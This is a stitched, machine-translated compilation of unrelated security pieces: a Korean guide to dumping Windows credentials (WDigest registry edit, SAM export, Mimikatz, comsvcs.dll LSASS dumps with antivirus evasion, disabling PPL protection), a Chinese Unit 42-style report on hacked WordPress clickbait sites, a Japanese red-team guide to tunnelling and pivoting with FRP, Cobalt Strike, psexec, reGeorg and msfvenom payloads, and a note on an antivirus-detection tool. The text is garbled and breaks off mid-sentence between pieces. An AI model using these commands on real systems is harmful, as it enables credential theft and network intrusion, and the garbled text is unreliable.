따라서 현재 기계의 해시를 크롤링하는 두 가지 방법 인 온라인 도구 추출 및 오프라인 분석 추출을 고려할 수 있습니다.

참고 : Windows 10 \ 2012R2 이후의 시스템 버전에서 시스템 사용자의 일반 텍스트 암호는 기본적으로 메모리 캐시에서 비활성화됩니다. 현재 Mimikatz를 사용하여 일반 텍스트를 잡을 수 있으며, 확실히 그것을 잡을 수 없습니다. 비밀번호 필드 숫자는 NULL로 직접 표시됩니다.

여기서는 일반 텍스트를 저장하기 위해 레지스트리를 수동으로 수정하여 크롤링 할 수 있습니다. (수정 후 로그인하기 전에 사용자에서 로그 아웃해야합니다)

reg 추가 hklm \\ system \\ currentControlset \\ Control \\ securityproviders \\ wdigest /v Uselogoncredential /t reg \ _dword /d 1 /f

Mimikatz

Mimikatz는 Frenchman Benjamin이 개발 한 강력한 경량 디버깅 도구입니다. 개인 테스트를위한 것이지만 강력한 기능으로 인해 Windows XP-2012와 같은 운영 체제의 일반 텍스트 암호를 직접 읽을 수 있으며 침투 테스트로 유명합니다. 그것은 침투에 필요한 도구라고 할 수 있습니다.

다운로드 주소 : https://github.com/gentilkiwi/mimikatz

1. 레지스트리를 통한 크롤링 해시

현재 시스템 레지스트리의 SAM 및 시스템 파일을 얻기 위해 명령 줄을 실행하십시오 (지역 관리자 권한 필요).

reg save hklm \\ system sys.hiv

reg save hklm \\ sam sam.hiv

파일을 얻은 후 파일을 공격자의 기본 컴퓨터로 다운로드하고 Mimikatz를 사용하여 오프라인 해시를 분석하고 추출 할 수 있습니다.

mimikatz.exe 'lsadump:sam /sam:sam.hiv /system:sys.hiv' 'exit'

이 방법은 SAM 파일에 저장된 로컬 사용자의 계정 만 얻을 수 있습니다.

pjno1avgdtk11742.png

2. Mimikatz를 대상 기계에 업로드하고 로컬 SAM 파일에 저장된 계정 해시 값을 추출하십시오.

권한 3:debug

TOKEN3:3360ELEVATE

LSADUMP3:SAM

1kdcsqhowgb11743.png

3. 해시를 lsass.exe의 메모리에서 확장하십시오

Mimikatz 'Privilege:debug' 'Sekurlsa:LogonPasswords Full' 'Exit'

14kwcpfe5zx11744.png

2ukljcxigxx11745.png

로컬 사용자에게 로그인 한 도메인 관리자의 해시 값이 로컬 사용자의 관리자 권한을 사용하여 캡처 한 것으로 나타났습니다.

pwdump7

pwdump7.exe를 직접 실행하십시오

ketxr4mztzy11746.png

wec

대상 기계에 업로드하고 매개 변수를 추가하여 직접 실행하십시오.

-L 로그인 세션 및 NTLM 자격 증명 (기본값)

-S 현재 로그인 세션 매개 변수의 NTLM 자격 증명 수정 : 사용자 이름 : DomainName :LM HASH :NT HASH

-R 정기적으로 로그인 세션 및 NTLM 자격 증명을 나열합니다. 새 세션이 발견되면 5 초마다 다시 되풀이됩니다.

-C 특수 NTML 자격 증명 매개 변수로 새 세션을 실행합니다.

-E 로그인 세션 및 NTLM 자격 증명을 수시로 나열하고 로그인 이벤트가 생성 될 때 한 번 다시 릴리스트

-o 모든 출력을 파일 매개 변수에 저장 : 파일 이름

-현재 로그인 세션 매개 변수 :을 사용하는 대신 루드를 지정합니다.

-D 로그인 세션 매개 변수 :에서 NTLM 자격 증명을 삭제합니다

-주소 매개 변수 : 주소를 사용합니다

-F Force Safe Mode

-G LM 및 NT 매개 변수 암호에 대한 해시를 생성합니다

-K 캐시 Kerberos 파일 (Unix 및 Windows WCE 형식) 티켓

-K 파일에서 Kerberos 티켓을 읽고 Windows 캐시에 삽입하십시오.

-W 다이제스트 인증을 통해 일반 텍스트 비밀번호를 캐시합니다

-V 상세한 출력

3ean1big5k211747.png

라자네

다운로드 주소 : https://github.com/alessandroz/lazagne

Lazagne.exe 모두

jfcj3htjvoh11748.png

SharpDump

https://github.com/ghostpack/sharpdump

직접 컴파일하면됩니다

./sharpdump

pmvh3bi0upq11749.png

lsasssilentprocessexit

https://mp.weixin.qq.com/s/8uer5DNAQS24KUKXU5YI9W

침묵 프로세스 출구, 즉 조용히 종료됩니다. 이 디버깅 기술은 werfault.exe 프로세스를 도출 할 수 있으며,이 프로세스는 프로그램을 실행하거나 모든 프로세스의 메모리 파일 또는 팝업을 재배치하는 데 사용할 수 있습니다.

주로 LSASSSILENTPROCESSEXIT API를 사용합니다. LEGISTION + 원격 프로세스 분사 및 관련 레지스트리 키 값을 수정하여 메모리를 덤프합니다.

#define ifeo \ _reg \ _key '소프트웨어 \\\\\ microsoft \\\\\\ Windows nt \\\\\ currentVersion \\\\\ execution 옵션 \\\\\'

#define silent \ _process \ _exit \ _reg \ _key '소프트웨어 \\\\\\ Microsoft \\\\\ Windows nt \\\\\ currentversion \\\\\ silentProcessexit \\\\\\'

원격 프로세스 주입을 사용하여 lsass.exe가 rtlreportsilentprocessexit 기능 자체를 호출하십시오.

hmodule hntdll=getModule Handle (l 'ntdll.dll');

rtlreportSilentProcessExit \ _func rtlreportSilentProcessExit=(rtlReportSilentProcessExit \ _func) getProcadDress (hntdll, 'rtlreportSilentProcessExit');

hthread=createremotethread (hprocess, null, 0, (lpthread \ _start \ _routine) rtlreportSilentProcessExit, (lpvoid) -1, null, null);

그러나 레지스트리를 수정해야하므로 소프트 킬링 환경을 우회하는 것은 거의 불가능합니다.

lsasssilentprocessexit.exe 616 0

qaaun3huzqw11750.png

민감한 환경에서 LSASS 프로세스를 덤프하는 방법

파일없이 PowerShell을 사용하여 파일없이 내보내십시오

https://blog.csdn.net/chenfeng857/article/details/120126818

https://xz.aliyun.com/t/12157#toc-9

comsvcs.dll, 시스템과 함께 제공됩니다. comsvcs.dll의 내보내기 함수 Minidump를 통해 덤프 메모리를 구현하십시오.

지정된 프로세스 메모리 파일을 덤프 할 때는 SedeBugPrivilege 권한이 필요합니다. 관리자 권한의 CMD에 따라 SedeBugPrivilege 권한은 기본적으로 지원되지만 상태는 비활성화됩니다.

sifcktu5lej11751.png

CMD에서 rundll32 명령을 직접 실행하고 지정된 프로세스 메모리 파일을 덤프하려고하면 sedebugprivilege 권한을 활성화 할 수 없으므로 덤프가 실패합니다.

그러나 관리자 권한이있는 PowerShell에서는 SedeBugPrivilege 권한이 기본적으로 지원되며 상태가 활성화됩니다.

wm4mflfiapa11752.png

먼저 lsass.exe 프로세스 PID를 확인하십시오

작업 목록 | findstr lsass.exe

rundll32.exe comsvcs.dll minidump pid 경로 가득

rundll32.exe comsvcs.dll minidump 1096 c: \\ users \\ 16229 \\ goodtop \\ 1.dmp full

직접 실행하면 소프트를 죽임으로써 가로 채워질 수 있습니다.

그것을 우회하는 간단한 방법 :

Copycomsvcs.dll to In Insensitive Directories 및 무작위로 명명 된 Test.dll

C: \\ Windows \\ System32 \\ comsvcs.dll test.dll을 복사하십시오

rundll32.exe c: \\ users \\ 16229 \\ goodtop \\ code \ _java \\ test.dll minidump 1096 c: \\ users \\ 16229 \\ goodtop \\ code \ _java \\ 3.dmp full

0guv5q35ymg11753.png

로컬로 드래그하고 분석을 위해 Mimikatz를 사용하십시오.

Mimikatz.exe log 'Sekurlsa3333:minidump 2.dmp' 'sekurlsa333:logonpasswords Full'Exit

runasppl이 활성화 된 환경에서

https://www.freebuf.com/articles/system/332506.html

https://xz.aliyun.com/t/12157#toc-19

Mimikatz

PPL 보호 기능을 사용하여 관리자조차도 LSASS 프로세스를 열 수 없습니다.

Mimikatz 'Privilege:debug' 'Sekurlsa:LogonPasswords Full' 'Exit'

d0wkes4rkbv11754.png

Mimikatzprivilege:debug의 명령이 성공적으로 활성화되었습니다. sedebugprivilege이지만 명령 sekurlsa333:0logonpasswords가 실패하고 오류 코드0x00000005가 나타납니다. Minikatz 코드 kuhl_m_sekurlsa_acquirelsa () 함수에서 간단히 이해할 수 있습니다.

hdata=null을 처리합니다.

dword pid;

dword processrights=process_vm_read | Process_Query_Information;

kull_m_process_getprocessidforname (l 'lsass.exe', pid);

hdata=OpenProcess (processrights, false, pid);

if (hdata hdata!=invalid_handle_value) {

//OpenProcess OK 인 경우

}

또 다른 {

print_error_auto (메모리 핸들);

}

프로세스 탐색기를 사용하여 LSASS 프로세스를 열어 볼 수있게되면 액세스가 거부됩니다.

ocqsvxruel211755.png

Mimikatz의 디지털 서명 드라이버를 사용하여 커널의 프로세스 객체에 대한 보호 플래그를 제거하십시오.

5b5tq51sdai11756.png

Minikatz 설치 드라이버

권한 3:debug

!+

1jah0m3o2ts11758.png

보호 삭제

! ProcessProtect /Process:lsass.exe /제거

hivl32vyf4u11759.png

그런 다음 비밀번호를 버릴 수 있습니다

Sekurlsa:LogonPasswords

4njxvib0z0p11760.png

도구를 사용하여 보호가 삭제 된 것을보십시오.

ii3z5li3hmc11761.png

mimikatz.exe 'privilege:debug' '!+' '! ProcessProtect /Process3:lsass.exe /제거' 'Sekurlsa33333:LogonPasswords'exit '

pplkiller

https://www.cnblogs.com/revercc/p/16961961.html

https://redcursor.com.au/bypassing-lsa-protection-aka-protected-process-light-withoutmimikatz-on-windows-10/

우선 순위 차이 : PP는 시그니처 레벨이 더 크거나 동일하다면 전체 액세스 권한으로 PP 또는 PPL을 열 수 있습니다. PPL은 서명 수준이 높거나 같으면 전체 액세스 권한으로 다른 PPL을 열 수 있습니다. 시그니처 레벨에 관계없이 PPL은 전체 액세스 권한이있는 PP를 열 수 없습니다.

PPL이 활성화되면 더 높은 보호 수준에서 실행되는 프로세스 만 보호 된 프로세스에서 작동 할 수 있습니다.

Windows 커널은 _eprocess 구조를 사용하여 커널 메모리의 프로세스를 나타냅니다. 여기에는 유형 (_ps_protected_type) 및 서명자 (_ps_protected_signer) 속성을 통해 프로세스의 보호 수준을 정의하는 _ps_protection 필드가 포함됩니다.

typedef struct _ps_protection {

연합 {

uchar 레벨;

구조 {

UCHAR 유형 : 3;

Uchar Audit : 1; //예약된

Uchar Signer : 4;

};

};

} ps_protection, *pps_protection;

구조물로 표시되지만 모든 정보는 단일 바이트의 두 개의 니블 (leveles a uchar, signed char)에 저장됩니다. 처음 3 자리는 보호 유형을 나타냅니다 (아래 ps_protected_type 참조). 프로세스가 PP 또는 PPL인지 정의합니다. 마지막 4 자리는 서명자 유형 (아래 PS_Protected_Signer 참조), 즉 실제 보호 수준을 나타냅니다.

typedef enum _ps_protected_type {

psprotectedTypenone=0,

psprotectedTyPepRotectedlight=1,

psprotectedTyPeprotected=2

} ps_protected_type, *pps_protected_type;

typedef enum _ps_protected_signer {

psprotectedSignerNone=0, //0

psprotectedSignerauthenticode, //1

psprotectedSignerCodeGen, //2

psprotectedSignerantimalware, //3

psprotectedSignerlsa, //4

psprotectedSignerWindows, //5

psprotectedSignerwintcb, //6

psprotectedSignerWinsystem, //7

psprotectedSignerApp, //8

psprotectedSignerMax //9

} ps_protected_signer, *pps_protected_signer;

LSA 보호를 우회하려면 eprocess 커널 구조를 패치하여 LSASS 프로세스의 PPL 플래그를 비활성화 할 수 있습니다. 이를 위해서는 LSASS eprocess 구조의 주소와 패치 5 값을 찾아야합니다.

EnumDevedIvers 기능은 커널베이스 주소를 누출하는 데 사용될 수 있습니다. 이것은 시스템 프로세스의 eprocess 구조를 가리키는 psinitialsystemprocess를 찾는 데 사용될 수 있습니다. 커널은 링크 된 목록에 프로세스를 저장하므로 Eprocess 구조의 ActiveProcessLinks를 사용하여 링크 된 목록을 반복하고 LSASS를 찾을 수 있습니다.

eprocess 구조를 살펴보면 패치해야 할 5 개의 필드가 일반적으로 4 바이트로 정렬되어 있음을 알 수 있습니다. 이를 통해 다음과 같이 단일 4 바이트 쓰기로 eprocess 구조를 패치 할 수 있습니다.

qtokgx2fzoj11762.png

주소를 찾은 후이 4 바이트의 값을 0으로 패치하십시오.

pplkiller.exe /installdriver

작업 목록 | findstr lsass.exe

pplkiller.exe /disableppl 688

다른 커널 버전을 만나면 프로그램이 4 바이트를 올바르게 패치 할 수 없으므로 동일한 버전의 컴퓨터를 찾아 LSASS 커널 주소를 WINDBG 디버깅을 통해 볼 수 있습니다.

bcdedit/debug onsrv \*https://msdl.microsoft.com/다운로드/기호

1ziy0bvg5oz11763.png

.Reload

! 프로세스 0 0 LSASS.EXE

dt \ _eprocess

l1bxl11fvnz11764.png

ynu0mxmul5t11765.png

arkyccmrsjv11766.png

주소0x6c0을 찾고 스크립트를 수정 한 다음 컴파일하십시오.

tussnijwbfu11767.png

ppldump

https://itm4n.github.io/the-end-of-ppldump/

https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/

PplDump는 C/C ++로 작성된 도구로 사용자 상태 취약성 착취를 구현하여 관리자로서 PPL에 임의 코드를 주입합니다. 이 기술은 Alex Ionescu와 James Forshaw가 보호 프로세스 (PP 및 PPL)에 대한 심층적 인 연구를 수행하는 많은 연구 결과 중 하나입니다.

ppldump의 작동 원리는 다음과 같습니다.

AP에 전화하십시오

Unit42-blog-2by1-characters-r4d1-2020_Cyber-squatting-v2.png

自2023年8月底以來,研究人員觀察到專門用於標題黨和廣告內容的受攻擊服務器顯著增加。但為什麼這樣的網站對攻擊者來說如此有吸引力呢?主要因為這些網站的設計是為了接觸到大量潛在的受害者。此外,標題黨網站經常使用過時或未修復的軟件,這使得它們很容易受到攻擊。

本文足以讓你了解標題黨文章的危險性。文中討論了標題黨網站如何增加流量以獲得廣告收入,研究人員回顧了一種基於其網絡流量特徵,來檢測易受攻擊標題黨網站的策略。最後,本文還闡述了基於CVE-2023-3169漏洞的標題黨網站數量激增的趨勢分析。

標題黨網站和廣告流量標題黨旨在讓讀者點擊一個可疑的網絡內容鏈接。專門從事標題黨內容的網站存在的唯一目的是產生廣告收入,因此,標題黨網站的網頁包含大量攻擊性廣告。

點擊誘餌需要大量的瀏覽量來產生廣告收入,所以這些網站通常使用以下三種策略來增加流量。

常青的話題;

內容髮現平台;

生成人工智能(AI)工具;

常青的話題增加流量的一個策略是關注常青話題。常青話題指的是與特定時間或地點無關的話題,人們一直覺得它們很有趣。例如,金融和衛生被認為是常青的話題。圖1和圖2顯示了來自標題黨網站的兩個示例頁面:

1.jpeg

金融主題標題黨文章的例子

2.jpeg

健康主題標題黨文章的例子

內容髮現平台由於標題黨內容本身是通過廣告傳播的,許多標題黨網站還依靠第二種策略來增加流量:內容髮現平台。

新聞機構和其他內容提供商使用內容髮現平台來創收,標題黨提供商經常使用這些服務來為他們自己的內容增加流量。

內容髮現平台經常使用技術來偽裝廣告。其中一種方法被稱為原生廣告,此方法將廣告內容配置為與其所在網站的外觀相似,瀏覽者很難區分網站的原創內容和廣告內容。下圖顯示了出現在新聞網站上的原生廣告示例:

3.png

原生廣告出現在新聞網站的例子

在上圖中,研究人員添加了一個紅色箭頭,指向hxxps://gofindyou[.]com/health/what-causes-plaque-psoriasis-heres-what-doctors-need-you-to-know的標題黨內容,快速檢查發現這個網站至少運行了一個過時的軟件。來自網頁的HTML代碼表明它使用了用於Yoast SEO的WordPress插件,如下圖所示:

4.jpeg

一個標題黨頁面顯示Yoast SEO插件v20.8的HTML代碼

顯示Yoast SEO插件20.8版本的HTML最初發佈於2023年5月23日。上圖所示的網頁是在2023年10月27日提供的,當時Yoast SEO插件的最新版本是21.4,這個插件已經過時。

研究人員經常發現帶有過時軟件或插件的標題黨網站。這種特殊情況不意味著存在任何特定的漏洞,但過時的軟件可能比完全打過補丁的版本更容易受到攻擊。

生成人工智能工具標題黨作者的最新策略是使用Jasper和AIPRM等生成式人工智能工具,這些工具提供了一種簡單的方法來生成seo優化的內容,以增加網站流量。

攻擊者經常濫用、利用或破壞合法產品以達到惡意目的,但這並不一定意味著濫用合法產品的缺陷或質量問題。

一個示例是在hxxps://delhiproduct[.]info/top-24-earn-money-with-paid-online-surveys 上用ChatGPT寫的一篇文章,在本例中,該網站是一個運行MonsterInsights插件(版本8.1.0)的過時版本的WordPress網站,如下圖所示:

5.jpeg

delhipproductinfo[.]com的HTML顯示了過時的MonsterInsights插件

截至2023年10月3日,MonsterInsights插件的最新版本是8.20.1,這意味著8.1.0版本至少已經過時兩年了。該插件的8.1.0版本也容易受到存儲跨站攻擊。

查找易受攻擊的網站要攻擊任何網站,攻擊者必須知道該網站的web服務器使用的web堆棧。這些數據包括操作系統、web內容管理軟件(CMS)以及任何相關的插件和主題。

攻擊者使用web堆棧數據來確定服務器是否運行任何過時的軟件或應用程序,有了這些信息,攻擊者可以很容易地找到公開的漏洞和利用來破壞網站。

研究人員如何確定服務器的web堆棧?研究人員可以通過網站的URL模式、HTML內容和功能來發現這些信息,網頁的外觀和感覺也可以提供線索。

接下來介紹一些指標,這些指標可以顯示網站的部分web堆棧。

/wp-content/或/wp-includes/:URL或網頁的HTML代碼中的任何一個字符串都表示關聯的網站可能使用WordPress。

wp-content/themes/Newspaper/style.css?ver=11.4.1 :在網頁的HTML代碼中,此字符串表示網站使用tagDiv的WordPress報紙主題,報紙版本為11.4.1。

!-- This site uses the Google Analytics by MonsterInsights plugin v8.1.0 - Using Analytics tracking - https://www.monsterinsights[.]com/--:網頁HTML代碼中的這條評論表明該網站使用了WordPress的MonsterInsights插件。插件信息的註釋在大多數情況下都是準確的。

在確認利用CVE-2023-3169時,前兩種技術可能會有所幫助。

利用CVE-2023-31692023年9月11日,MITRE發布了CVE-2023-3169,該漏洞在與WordPress的Composer插件一起使用時會影響tagDiv的Newspaper和Newsmag主題,已經有數千個WordPress網站因該漏洞而被攻擊。

Unit 42團隊成員監控Palo Alto Networks的遙測惡意活動,這些數據包括網頁中HTML代碼的指示符及其關聯的URL。根據這些數據,我們通過存在惡意腳本和其他指標來確認一個受攻擊的網站。

之前的研究表明,利用CVE-2023-3169後,通過Balada注入器攻擊了數千個易受攻擊的網站。根據這項研究,受此攻擊的網站從以下位置生成加載惡意內容的頁面:

hxxps://stay[.]decentralappps[.]com/src/page.js

研究人員的數據證實了這一發現,分析發現與CVE-2023-3169相關的受攻擊WordPress網站在2023年8月底開始激增。

在兩個月的時間裡,研究人員發現了大約10300個被攻擊的WordPress網站。下面圖表說明了研究人員檢測到的這個峰值。

6.png

研究人員通過CVE-2023-3169竊取的WordPress網站數據

如下圖所示,這些受攻擊的網站中有很大一部分是標題黨或廣告網站。調查發現,標題黨和廣告佔檢測30%以上,在這30%的網站中,至少80%的網站使用了tagDiv的Newspaper主題,另外6%的網站使用了tagDiv的Newsmag主題。

注入腳本示例下圖顯示了2023年10月初的一個示例,其中一個受攻擊網站將惡意腳本注入到網頁中,注入的腳本以黃色突出顯示。

7.png

在WordPress網站的網頁上註入腳本的示例

這個混淆的腳本使用表示ASCII字符的十進制值,將這些數字轉換為ASCII文本會顯示惡意腳本,如下圖所示:

8.png

從上圖中突出顯示的文本解碼的惡意腳本

上圖中解碼的腳本包含相同的hxxps://stay[.] decentralapps [.]com/src/page.js URL,在之前的報告中提到了使用Balada注入器利用CVE-2023-3169的活動。

標題黨和廣告網站的趨勢研究人員使用Cortex Xpanse和其他工具跟踪分析了漏洞趨勢。除了CVE-2023-3169之外,研究人員還跟踪受其他漏洞影響的網站。

在2023年9月15日至22日的樣本分析中,研究人員監控了1600個隨機選擇的WordPress網站的數據集,有用戶試圖訪問受攻擊的網站。

結果顯示,與其他類別相比,流量黨和廣告網站的受害比例接近三比一。下圖顯示了研究人員每週檢測的平均值:

9.png

檢測受攻擊WordPress網站

無論是來自CVE-2023-3169還是其他漏洞,與其他類別相比,受攻擊的標題黨和廣告網站的數量都始終更高。

總結當研究人員通過分析被攻擊網站的指標時,通過與其他類別相比,研究人員依舊看到大量被攻擊的標題黨和廣告網站。

這些網站通常使用過時或未修復的軟件,有可能觸及大量受害者,使其成為攻擊者的誘人目標。因此,標題黨文章本身就存在風險,讀者應該意識到這種風險,並相應地調整他們的瀏覽習慣。

序文

イントラネットの浸透、ウェブシェル、またはコバルトストライク、メタスプロイトが発売される場合などはほんの始まりに過ぎず、イントラネットを水平に移動し、結果を拡大し、コア領域を攻撃することについてです。ただし、侵入後の前提条件は、さらなる攻撃のためにイントラネットに「排他的なチャネル」を構築することです。ただし、実際の戦闘では、ネットワーク環境が異なるため、使用方法は異なります。

以下は、「実際の戦闘におけるイントラネットの浸透の道」のマインドマップの自己サマリーです。

1049983-20240512134201496-1780382476.png

ターゲットアウトバウンド(ソックスプロキシ)

これは、実際の戦闘で最も喜んで遭遇するネットワーク環境です。ターゲットマシンは通常のインターネットにアクセスでき、ターゲットマシンにソックスエージェントまたはコバルトストライクを直接吊るすことができ、ターゲットのイントラネットチャネルを開きます。

FRP(Socks5)FRPサーバー構成ファイル:

1 | [一般]

2 | bind_port=8080frpクライアント構成ファイル:

1 | [一般]

2 | server_addr=xx.xx.xx.xx

3 | server_port=8080

4 | #Serviceポートは一般的なWebポートを使用します

5 |

6 | [Socks5]

7 | type=tcp

8 | remote_port=8088

9 |プラグイン=socks5

10 | use_encryption=true

11 | use_compression=true

12 | #Socks5パスワード

13 | #plugin_user=superman

14 | #plugin_passwd=xpo2mcwe6nj3暗号化と圧縮の2つの関数がここに追加されますが、デフォルトでは有効にされていません。著者の紹介によると、圧縮アルゴリズムはSnappyを使用しています。

use_encryption=true enable enbryption [通信コンテンツの暗号化された送信、トラフィックが傍受されるのを効果的に防ぐ]

use_compression=True Enable Compression [送信されたネットワークトラフィックを効果的に削減し、トラフィック転送速度を高速化するように伝達コンテンツを伝達しますが、追加のCPUリソースを消費します]

use_encryption=true、use_compression=trueは、関連するプロトコルの下に配置する必要があります。 FRPクライアントと構成ファイルがターゲットマシンに送信された後、プログラム名と構成ファイルが変更され、システム関連のフォルダーに配置されて非表示になります。

1049983-20240512134202733-1307124500.png 1049983-20240512134203670-2094206611.png 1049983-20240512134204255-725553901.png暗号化圧縮の比較これは、暗号化と圧縮関数を使用しないFRPクライアント構成ファイルです。 Metasploitは、Socksプロキシを使用して、MS17_010から送信されたデータパケットをスキャンして、特定の攻撃動作を明確に識別できます。ターゲットイントラネットに「状況認識」やトラフィック分析などのセキュリティ機器がある場合、監視され、アクセス許可が失われます。

1049983-20240512134205015-817056185.png暗号化と圧縮関数を使用した後、攻撃源アドレスも公開されますが、イントラネットのセキュリティ監視装置を避けて、送信されたデータパケットを区別できません。

1049983-20240512134205882-1270973653.pngコバルトストライク(Socks4a)制御されたターゲットマシンのビーコンに、ソックスエージェントを有効にします。

1 |ビーコンソックス1024 #portは、VPSの実際の状況に応じて設定されています

1049983-20240512134206742-1303778529.pngプロキシピボットを表示メニューバーで、コピープロキシはMetaSploitに接続されているか、関連するセキュリティツールにSocks4aを直接ハングします。

1049983-20240512134207715-2015895728.pngは、オンラインマシンでは利用できません。これはリンクリンクです。メインリンク(ネットワークビーコン)が切断されている限り、それらはすべて切断されます!

SMBビーコン公式紹介SMBビーコン:SMBビーコンは、親のビーコンを介して通信するために名前付きパイプを使用しています。 2つのビーコンがリンクされると、子供のビーコンは親のビーコンからタスクを取得し、それを送信します。リンクされたビーコンは、通信にパイプという名前のWindowsを使用しているため、このトラフィックはSMBプロトコルにカプセル化されているため、SMBビーコンは比較的隠されています。

SMBリスナー(ホストとポートは無視できます)を作成し、リスナーの選択に注意を払い、セッションのルートで到達できるホスト由来セッションを選択します。

1049983-20240512134208849-655736604.png操作が成功した後、派生したSMBビーコンの接続状態であるキャラクター∞∞を見ることができます。

1049983-20240512134209667-901525554.png 1049983-20240512134210353-12480323.pngは、メインビーコンのリンクホストリンクまたはリンクホストをリンクすることと切断できます。

1 |ビーコンリンク192.168.144.155

2 | Beaccon Unlink 192.168.144.155 1049983-20240512134211037-132998840.pngLinkリスナーオンラインホストでリスナーを作成します。

1049983-20240512134211928-517817209.pngこのタイプのリスナーに対応する実行可能ファイルまたはDLLをエクスポートします。

1049983-20240512134212756-942516291.png作成したばかりのリスナーを選択します。

1049983-20240512134213577-342299124.png現在のオンラインターゲットマシンに生成されたペイロードをアップロードし、PSEXEC.EXEツールをこちらを使用してください。 (Cobalstrike自体は十分に強力ではありません)1049983-20240512134214378-27620203.pngビーコンのPSEXECツールを使用して、ネットワークを離れない、自動的に実行し、オンラインになるターゲットマシンにペイロードをアップロードします。

1 |ビーコンシェルC:WINDOWSTEMPPSEXEC.EXE -ACCEPTEULA \ 192.168.144.155,192.168.144.196 -U管理者-P管理

1049983-20240512134215238-1957285179.png1 |ビーコンシェルNetstat -Ano | FindStr 4444

1049983-20240512134215956-1504058873.pngSSH login1 |ビーコンSSH 192.168.144.174:22ルート管理

2 |ビーコンSSH 192.168.144.203:22ルート管理1049983-20240512134216668-903606565.png Linuxターゲットマシンのネットワーク接続ステータスを確認します。これは、以前に起動したWindowsホストに確立された接続です。

1049983-20240512134217520-1183936029.png

ターゲットはネットワークから出ない(HTTPプロキシ)

ターゲットマシンネットワークには、HTTP一元配電のみを許可し、正常にインターネットにアクセスできないターゲットマシンネットワークにファイアウォール、ネットワークゲートなどがある場合があります。上記のソックス法は実行不可能であり、HTTPプロキシを使用して浸透するためにのみ使用できます。

Regeorg(Socks5)1 | python regeorgsocksproxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080

1049983-20240512134218417-91446156.png Metasploitを使用してRegeorg Socks Proxyをハングして、MS17_010によって送信されたデータパケットをスキャンします。

1049983-20240512134219602-1128156753.pngneo-regeorg(暗号化)1 | python neoreg.py -kテスト@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo -tunnel.aspx

Neo-Regeorgを使用した後、パケットは暗号化されました。

1049983-20240512134220742-378445843.png Ice Scorpion(Open Socks5)Ice Scorpionのパケットトランスミッションは暗号化されており、ソックスプロキシ機能もありますが、送信プロセス中にパケット損失があります。ここでは、Metasploitを使用してMS17_010の脆弱性を検出しますが、結果は存在しないことを示しています。プロキシ検出が設定されていない場合、実際の脆弱性が存在します。

アイススコーピオンのプロキシスキャン方法はRegeorgほど正確ではありませんが、補助/スキャナー/ポートスキャン/TCPなど、小さなスレッドのポート検出が実現可能です。精度は、何らかの検出またはその他の伝送方法でのパケットの数によってより決定されます。

1049983-20240512134221866-2073188842.pngReduh(シングルポート転送)ターゲットサーバーミドルウェアおよびその他のサービスのサービスバージョンが低い場合、RegeorgまたはIce Scorpion Horseが正常に解決できない場合、他のHTTPプロキシスクリプトを使用する必要があります。これは、実際の戦いで遭遇する環境です。

1049983-20240512134223045-1724645033.pngここで例として、Reduhを取り上げます。指定されたポート(グラフィカル接続操作は該当しない)のみを転送しますが、最初にMSFvenomを使用してフォワードシェルペイロードを生成し、次にReduhシングルポート転送を組み合わせてMetasploitを起動し、最後にSocks4Aモジュールを使用してプロキシを開きます。以下の特定のプロセスを見てみましょう。

1 | sudo msfvenom -platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe

2 |

3 | -Platformプラットフォームペイロードのターゲットプラットフォームを指定します

4 | -e、-Encoderエンコーダー使用するエンコーダーを指定します

5 | -i、-iterationsカウントペイロード1049983-20240512134224058-1798659542.pngのエンコード時間の数を指定します。ペイロードをターゲットサーバーにアップロードして実行します。

1049983-20240512134224983-451445716.pngmetasploitは、転送を聞いた後のアドレスとポートです。

1 | sudo msfconsole -q

2 | MSF5 Exploit/Multi/Handlerを使用します

3 | MSF5 Exploit(Multi/Handler)Payload Windows/shell_bind_tcpを設定します

4 | MSF5 Exploit(Multi/Handler)Set RHOST 127.0.0.1

5 | MSF5 Exploit(Multi/Handler)Set LPort 5353

6 | MSF5 Exploit(Multi/Handler)Run -J 1049983-20240512134225767-1569256900.png Reduhserverがターゲットマシンに送信された後、Reduhclientを使用して接続し、リバウンドポートを局所的に回転させます。

1 | Java -jar reduhclient.jar http://103.242.xx.xx/reduh.aspx

2 |

3 | Telnet 127.0.0.1 1010

4 | [CreateTunnel] 5353:127.0.0.1:53 1049983-20240512134227332-754744672.pngは、メタプロイトに浸透するか、Socks4aをオンにして、他のセキュリティツールをマウントして浸透を継続することができます。

1 | MSF5 Exploit(Multi/Handler)補助/サーバー/Socks4aを使用します

2 | MSF5 Auxiliary(Server/Socks4a)SET SRVPORT 10080を設定します

3 | MSF5 Auxiliary(server/socks4a)run -J 1049983-20240512134228426-187155926.pngに注意してください。なぜペイロードにメータープレターの代わりにシェルが必要なのか。 MeterPreterは、送信中に多数のデータパケットを占める高レベルのペイロードです。このシングルポート転送は、まったく安定していません。 MeterPreterは「小さな水道管」をより不安定にします!

1049983-20240512134230822-923441708.png

分離ネットワーク(マルチレベルエージェント)

イントラネット浸透中、孤立したネットワークが遭遇し、より論理的に分離されます。画期的な方法は、ルートアクセス可能なスプリングボードマシン(複数のネットワークカード、操作およびメンテナンスマシンなど)の許可を取得し、第1レベルのセカンドレベルエージェントとサードレベルエージェントを確立することです。

FRPは現在、デュアルネットワークカードイントラネットサーバーの権限を取得しており、FRPを使用してチャネルを確立できます。このサーバーは、サーバーとクライアントの両方です。

1049983-20240512134231982-920312375.pngプロキシファイアがFRPで確立された後、外部ネットワークソックスとイントラネットソックスの2つのプロキシングをプロキシファイアと組み合わせて追加し、プロキシチェーンを作成します。 (プロキシ注文に注意してください)

1049983-20240512134232742-924618499.pngプロキシルールを設定し、対応するプロキシを選択します。

1049983-20240512134233387-961964612.png 2番目の層エージェントが成功し、イントラネット分離マシン445検出が開かれました。

1049983-20240512134233965-1689779243.pngProxyChainsコマンドラインプロキシアーティファクトプロキシチャインは、第2層プロキシとソックスのパスワードを設定します。 (プロキシ注文に注意してください)

在正常穿透过程中求解疼痛点。

在渗透测试中,Windows主机上总是有各种软件杀伤设备,手动查看系统过程也很麻烦。

然后我发现互联网上没有人写过这件事,所以我有这个Windows杀手在线比较助理。

github:https://github.com/r00tse7en/get_av

在线版本:Windows Killer在线比较助手

让我们分享一下,一个是促进有需要的人,另一个是希望表兄弟可以共享一些他们通常遇到的不受欢迎的软杀。将来,Github和在线版本将继续同时更新数据。

